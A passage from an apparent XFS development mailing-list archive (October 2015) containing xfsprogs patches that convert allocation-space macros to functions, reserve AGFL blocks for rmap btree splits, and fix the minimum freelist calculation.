xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -398,7 +420,7 @@ xfs_calc_icreate_resv_alloc( return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + mp->m_sb.sb_sectsize + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)) + xfs_calc_finobt_res(mp, 0, 0); } @@ -482,7 +504,7 @@ xfs_calc_ifree_reservation( xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + mp->m_ialloc_blks + mp->m_in_maxlevels, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)) + xfs_calc_finobt_res(mp, 0, 1); } @@ -512,7 +534,7 @@ xfs_calc_growdata_reservation( struct xfs_mount *mp) { return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -534,7 +556,7 @@ xfs_calc_growrtalloc_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), XFS_FSB_TO_B(mp, 1)) + xfs_calc_inode_res(mp, 1) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -610,7 +632,7 @@ xfs_calc_addafork_reservation( xfs_calc_buf_res(1, mp->m_dir_geo->blksize) + xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 1), XFS_FSB_TO_B(mp, 1)); } @@ -633,7 +655,7 @@ xfs_calc_attrinval_reservation( xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), XFS_FSB_TO_B(mp, 1))), (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 4), XFS_FSB_TO_B(mp, 1)))); } @@ -700,7 +722,7 @@ xfs_calc_attrrm_reservation( XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + xfs_calc_buf_res(xfs_allocfree_log_count(mp, 2), XFS_FSB_TO_B(mp, 1)))); } diff --git a/libxfs/xfs_trans_resv.h b/libxfs/xfs_trans_resv.h index 7978150..0eb46ed 100644 --- a/libxfs/xfs_trans_resv.h +++ b/libxfs/xfs_trans_resv.h @@ -68,16 +68,6 @@ struct xfs_trans_resv { #define M_RES(mp) (&(mp)->m_resv) /* - * Per-extent log reservation for the allocation btree changes - * involved in freeing or allocating an extent. - * 2 trees * (2 blocks/level * max depth - 1) * block size - */ -#define XFS_ALLOCFREE_LOG_RES(mp,nx) \ - ((nx) * (2 * XFS_FSB_TO_B((mp), 2 * (mp)->m_ag_maxlevels - 1))) -#define XFS_ALLOCFREE_LOG_COUNT(mp,nx) \ - ((nx) * (2 * (2 * (mp)->m_ag_maxlevels - 1))) - -/* * Per-directory log reservation for any directory change. * dir blocks: (1 btree block per level + data block + free block) * dblock size * bmap btree: (levels + 2) * max depth * block size From darrick.wong@oracle.com Wed Oct 7 00:06:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3817B29E7D for ; Wed, 7 Oct 2015 00:06:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id AD2C5AC008 for ; Tue, 6 Oct 2015 22:06:35 -0700 (PDT) X-ASG-Debug-ID: 1444194393-04cbb03f150d9c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id DHWIuRUIIZNyQDSD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:33 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756WlS015097 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:32 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9756WCa027921 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:32 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9756Wqq006884; Wed, 7 Oct 2015 05:06:32 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:32 -0700 Subject: [PATCH 12/51] xfs: rmap btree requires more reserved free space From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 12/51] xfs: rmap btree requires more reserved free space To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 22:06:31 -0700 Message-ID: <20151007050631.1504.24820.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194393 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner The rmap btree is allocated from the AGFL, which means we have to ensure ENOSPC is reported to userspace before we run out of free space in each AG. The last allocation in an AG can cause a full height rmap btree split, and that means we have to reserve at least this many blocks *in each AG* to be placed on the AGFL at ENOSPC. Update the various space calculation functiosn to handle this. Also, because the macros are now executing conditional code and are called quite frequently, convert them to functions that initialise varaibles in the struct xfs_mount, use the new variables everywhere and document the calculations better. Signed-off-by: Dave Chinner [port to xfsprogs] Signed-off-by: Darrick J. Wong --- include/xfs_mount.h | 2 + libxfs/xfs_alloc.c | 69 +++++++++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_alloc.h | 43 ++++---------------------------- libxfs/xfs_bmap.c | 2 + libxfs/xfs_sb.c | 2 + 5 files changed, 79 insertions(+), 39 deletions(-) diff --git a/include/xfs_mount.h b/include/xfs_mount.h index 9978769..5410168 100644 --- a/include/xfs_mount.h +++ b/include/xfs_mount.h @@ -69,6 +69,8 @@ typedef struct xfs_mount { uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ uint m_in_maxlevels; /* XFS_IN_MAXLEVELS */ + uint m_alloc_set_aside; /* space we can't use */ + uint m_ag_max_usable; /* max space per AG */ struct radix_tree_root m_perag_tree; uint m_flags; /* global mount flags */ uint m_qflags; /* quota status flags */ diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index eeb682e..1a69bdc 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -58,6 +58,72 @@ xfs_prealloc_blocks( } /* + * In order to avoid ENOSPC-related deadlock caused by out-of-order locking of + * AGF buffer (PV 947395), we place constraints on the relationship among actual + * allocations for data blocks, freelist blocks, and potential file data bmap + * btree blocks. However, these restrictions may result in no actual space + * allocated for a delayed extent, for example, a data block in a certain AG is + * allocated but there is no additional block for the additional bmap btree + * block due to a split of the bmap btree of the file. The result of this may + * lead to an infinite loop when the file gets flushed to disk and all delayed + * extents need to be actually allocated. To get around this, we explicitly set + * aside a few blocks which will not be reserved in delayed allocation. + * + * The minimum number of needed freelist blocks is 4 fsbs _per AG_ when we are + * not using rmap btrees a potential split of file's bmap btree requires 1 fsb, + * so we set the number of set-aside blocks to 4 + 4*agcount when not using rmap + * btrees. + * + * When rmap btrees are active, we have to consider that using the last block in + * the AG can cause a full height rmap btree split and we need enough blocks on + * the AGFL to be able to handle this. That means we have, in addition to the + * above consideration, another (2 * mp->m_ag_levels) - 1 blocks required to be + * available to the free list. + */ +unsigned int +xfs_alloc_set_aside( + struct xfs_mount *mp) +{ + unsigned int blocks; + + blocks = 4 + (mp->m_sb.sb_agcount * XFS_ALLOC_AGFL_RESERVE); + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return blocks; + return blocks + (mp->m_sb.sb_agcount * (2 * mp->m_ag_maxlevels) - 1); +} + +/* + * When deciding how much space to allocate out of an AG, we limit the + * allocation maximum size to the size the AG. However, we cannot use all the + * blocks in the AG - some are permanently used by metadata. These + * blocks are generally: + * - the AG superblock, AGF, AGI and AGFL + * - the AGF (bno and cnt) and AGI btree root blocks, and optionally + * the AGI free inode and rmap btree root blocks. + * - blocks on the AGFL according to xfs_alloc_set_aside() limits + * + * The AG headers are sector sized, so the amount of space they take up is + * dependent on filesystem geometry. The others are all single blocks. + */ +unsigned int +xfs_alloc_ag_max_usable(struct xfs_mount *mp) +{ + unsigned int blocks; + + blocks = XFS_BB_TO_FSB(mp, XFS_FSS_TO_BB(mp, 4)); /* ag headers */ + blocks += XFS_ALLOC_AGFL_RESERVE; + blocks += 3; /* AGF, AGI btree root blocks */ + if (xfs_sb_version_hasfinobt(&mp->m_sb)) + blocks++; /* finobt root block */ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + /* rmap root block + full tree split on full AG */ + blocks += 1 + (2 * mp->m_ag_maxlevels) - 1; + } + + return mp->m_sb.sb_agblocks - blocks; +} + +/* * Lookup the record equal to [bno, len] in the btree given by cur. */ STATIC int /* error */ @@ -1897,6 +1963,9 @@ xfs_alloc_min_freelist( /* space needed by-size freespace btree */ min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_CNTi] + 1, mp->m_ag_maxlevels); + /* space needed reverse mapping used space btree */ + min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_RMAPi] + 1, + mp->m_ag_maxlevels); return min_free; } diff --git a/libxfs/xfs_alloc.h b/libxfs/xfs_alloc.h index 35b60ae..5b2b616 100644 --- a/libxfs/xfs_alloc.h +++ b/libxfs/xfs_alloc.h @@ -55,44 +55,6 @@ typedef unsigned int xfs_alloctype_t; #define XFS_ALLOC_FLAG_TRYLOCK 0x00000001 /* use trylock for buffer locking */ #define XFS_ALLOC_FLAG_FREEING 0x00000002 /* indicate caller is freeing extents*/ -/* - * In order to avoid ENOSPC-related deadlock caused by - * out-of-order locking of AGF buffer (PV 947395), we place - * constraints on the relationship among actual allocations for - * data blocks, freelist blocks, and potential file data bmap - * btree blocks. However, these restrictions may result in no - * actual space allocated for a delayed extent, for example, a data - * block in a certain AG is allocated but there is no additional - * block for the additional bmap btree block due to a split of the - * bmap btree of the file. The result of this may lead to an - * infinite loop in xfssyncd when the file gets flushed to disk and - * all delayed extents need to be actually allocated. To get around - * this, we explicitly set aside a few blocks which will not be - * reserved in delayed allocation. Considering the minimum number of - * needed freelist blocks is 4 fsbs _per AG_, a potential split of file's bmap - * btree requires 1 fsb, so we set the number of set-aside blocks - * to 4 + 4*agcount. - * - * XXX: this changes for rmapbt filesystems. - */ -#define XFS_ALLOC_SET_ASIDE(mp) (4 + ((mp)->m_sb.sb_agcount * 4)) - -/* - * When deciding how much space to allocate out of an AG, we limit the - * allocation maximum size to the size the AG. However, we cannot use all the - * blocks in the AG - some are permanently used by metadata. These - * blocks are generally: - * - the AG superblock, AGF, AGI and AGFL - * - the AGF (bno and cnt) and AGI btree root blocks - * - 4 blocks on the AGFL according to XFS_ALLOC_SET_ASIDE() limits - * - * The AG headers are sector sized, so the amount of space they take up is - * dependent on filesystem geometry. The others are all single blocks. - * - * XXX: this changes for rmapbt filesystems. - */ -#define XFS_ALLOC_AG_MAX_USABLE(mp) \ - ((mp)->m_sb.sb_agblocks - XFS_BB_TO_FSB(mp, XFS_FSS_TO_BB(mp, 4)) - 7) /* * Argument structure for xfs_alloc routines. @@ -134,6 +96,11 @@ typedef struct xfs_alloc_arg { #define XFS_ALLOC_USERDATA 1 /* allocation is for user data*/ #define XFS_ALLOC_INITIAL_USER_DATA 2 /* special case start of file */ +/* freespace limit calculations */ +#define XFS_ALLOC_AGFL_RESERVE 4 +unsigned int xfs_alloc_set_aside(struct xfs_mount *mp); +unsigned int xfs_alloc_ag_max_usable(struct xfs_mount *mp); + xfs_extlen_t xfs_alloc_longest_free_extent(struct xfs_mount *mp, struct xfs_perag *pag, xfs_extlen_t need); unsigned int xfs_alloc_min_freelist(struct xfs_mount *mp, diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 87a6918..73fbdf0 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -3701,7 +3701,7 @@ xfs_bmap_btalloc( args.fsbno = ap->blkno; /* Trim the allocation back to the maximum an AG can fit. */ - args.maxlen = MIN(ap->length, XFS_ALLOC_AG_MAX_USABLE(mp)); + args.maxlen = MIN(ap->length, mp->m_ag_max_usable); args.firstblock = *ap->firstblock; blen = 0; if (nullfb) { diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index f092da7..ddc1ecd 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -715,6 +715,8 @@ xfs_sb_mount_common( mp->m_ialloc_min_blks = sbp->sb_spino_align; else mp->m_ialloc_min_blks = mp->m_ialloc_blks; + mp->m_alloc_set_aside = xfs_alloc_set_aside(mp); + mp->m_ag_max_usable = xfs_alloc_ag_max_usable(mp); } /* From darrick.wong@oracle.com Wed Oct 7 00:06:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A93CF29E6E for ; Wed, 7 Oct 2015 00:06:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 45EB1AC006 for ; Tue, 6 Oct 2015 22:06:41 -0700 (PDT) X-ASG-Debug-ID: 1444194399-04bdf020db0e8c0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id DSxuAhV4tOLnvxcZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:39 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756cLm015201 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:39 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9756cwi028438 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:38 GMT Received: from abhmp0001.oracle.com (abhmp0001.oracle.com [141.146.116.7]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9756cRo006903; Wed, 7 Oct 2015 05:06:38 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:38 -0700 Subject: [PATCH 13/51] libxfs: propagate a bunch of case changes to mkfs and repair From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 13/51] libxfs: propagate a bunch of case changes to mkfs and repair To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:06:37 -0700 Message-ID: <20151007050637.1504.40088.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194399 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines A few macros got replaced with functions, so update mkfs and repair to use the new symbol names. Fix a duplicate #define too. Signed-off-by: Darrick J. Wong --- libxfs/xfs_format.h | 12 ------------ mkfs/xfs_mkfs.c | 16 ++++++++-------- 2 files changed, 8 insertions(+), 20 deletions(-) diff --git a/libxfs/xfs_format.h b/libxfs/xfs_format.h index 4931198..afa9885 100644 --- a/libxfs/xfs_format.h +++ b/libxfs/xfs_format.h @@ -1351,24 +1351,12 @@ typedef __be32 xfs_rmap_ptr_t; /* * block numbers in the AG. */ -#define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) -#define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) #define XFS_RMAP_BLOCK(mp) \ (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ XFS_FIBT_BLOCK(mp) + 1 : \ XFS_IBT_BLOCK(mp) + 1) /* - * The first data block of an AG depends on whether the filesystem was formatted - * with the optional btree features. These need to be accounted for - * appropriately. - * - * XXX: this should be calculated once at mount time and stored in the struct - * xfs_mount rather than calculated every time it is used. - */ -#define XFS_PREALLOC_BLOCKS(mp) xfs_prealloc_blocks(mp) - -/* * BMAP Btree format definitions * * This includes both the root block definition that sits inside an inode fork diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index d993fc0..b326116 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2438,7 +2438,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), /* * sb_versionnum and finobt flags must be set before we use - * XFS_PREALLOC_BLOCKS(). + * xfs_prealloc_blocks(). */ sbp->sb_features2 = XFS_SB_VERSION2_MKFS(crcs_enabled, lazy_sb_counters, attrversion == 2, !projid16bit, 0, @@ -2467,12 +2467,12 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), */ if (!logsize) { logblocks = MIN(logblocks, - XFS_ALLOC_AG_MAX_USABLE(mp)); + xfs_alloc_ag_max_usable(mp)); /* revalidate the log size is valid if we changed it */ validate_log_size(logblocks, blocklog, min_logblocks); } - if (logblocks > agsize - XFS_PREALLOC_BLOCKS(mp)) { + if (logblocks > agsize - xfs_prealloc_blocks(mp)) { fprintf(stderr, _("internal log size %lld too large, must fit in allocation group\n"), (long long)logblocks); @@ -2489,7 +2489,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), } else logagno = (xfs_agnumber_t)(agcount / 2); - logstart = XFS_AGB_TO_FSB(mp, logagno, XFS_PREALLOC_BLOCKS(mp)); + logstart = XFS_AGB_TO_FSB(mp, logagno, xfs_prealloc_blocks(mp)); /* * Align the logstart at stripe unit boundary. */ @@ -2573,7 +2573,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), sbp->sb_imax_pct = imaxpct; sbp->sb_icount = 0; sbp->sb_ifree = 0; - sbp->sb_fdblocks = dblocks - agcount * XFS_PREALLOC_BLOCKS(mp) - + sbp->sb_fdblocks = dblocks - agcount * xfs_prealloc_blocks(mp) - (loginternal ? logblocks : 0); sbp->sb_frextents = 0; /* will do a free later */ sbp->sb_uquotino = sbp->sb_gquotino = sbp->sb_pquotino = 0; @@ -2724,7 +2724,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), agf->agf_flfirst = 0; agf->agf_fllast = cpu_to_be32(XFS_AGFL_SIZE(mp) - 1); agf->agf_flcount = 0; - nbmblocks = (xfs_extlen_t)(agsize - XFS_PREALLOC_BLOCKS(mp)); + nbmblocks = (xfs_extlen_t)(agsize - xfs_prealloc_blocks(mp)); agf->agf_freeblks = cpu_to_be32(nbmblocks); agf->agf_longest = cpu_to_be32(nbmblocks); if (xfs_sb_version_hascrc(&mp->m_sb)) @@ -2805,7 +2805,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), agno, 0); arec = XFS_ALLOC_REC_ADDR(mp, block, 1); - arec->ar_startblock = cpu_to_be32(XFS_PREALLOC_BLOCKS(mp)); + arec->ar_startblock = cpu_to_be32(xfs_prealloc_blocks(mp)); if (loginternal && agno == logagno) { if (lalign) { /* @@ -2860,7 +2860,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), agno, 0); arec = XFS_ALLOC_REC_ADDR(mp, block, 1); - arec->ar_startblock = cpu_to_be32(XFS_PREALLOC_BLOCKS(mp)); + arec->ar_startblock = cpu_to_be32(xfs_prealloc_blocks(mp)); if (loginternal && agno == logagno) { if (lalign) { arec->ar_blockcount = cpu_to_be32( From darrick.wong@oracle.com Wed Oct 7 00:06:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 54F5429E82 for ; Wed, 7 Oct 2015 00:06:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 44473304032 for ; Tue, 6 Oct 2015 22:06:48 -0700 (PDT) X-ASG-Debug-ID: 1444194406-04cb6c57860d8f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id wMNf8P3vxMJizwvV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:46 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756jCx019669 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:45 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9756jgS027281 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:45 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9756jTD009741; Wed, 7 Oct 2015 05:06:45 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:44 -0700 Subject: [PATCH 14/51] libxfs: fix min freelist length calculation From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 14/51] libxfs: fix min freelist length calculation To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:06:43 -0700 Message-ID: <20151007050643.1504.28716.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194406 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If rmapbt is disabled, it is incorrect to require 1 extra AGFL block for the rmapbt (due to the + 1); the entire clause needs to be gated on the feature flag. This causes serious problems if formatting a v4 filesystem because the extra AGFL block causes the root inode not to be where xfs_repair expects it. In turn, xfs_repair reports major FS damage when everything is fine. Signed-off-by: Darrick J. Wong --- libxfs/xfs_alloc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 1a69bdc..40cb20a 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -1964,8 +1964,10 @@ xfs_alloc_min_freelist( min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_CNTi] + 1, mp->m_ag_maxlevels); /* space needed reverse mapping used space btree */ - min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_RMAPi] + 1, - mp->m_ag_maxlevels); + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + min_free += min_t(unsigned int, + pag->pagf_levels[XFS_BTNUM_RMAPi] + 1, + mp->m_ag_maxlevels); return min_free; } From darrick.wong@oracle.com Wed Oct 7 00:06:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DD80829E82 for ; Wed, 7 Oct 2015 00:06:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4CE23AC007 for ; Tue, 6 Oct 2015 22:06:54 -0700 (PDT) X-ASG-Debug-ID: 1444194412-04cbb03f130d9d0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id l2NSKi1PLOOryhau (version=TLSv1.2 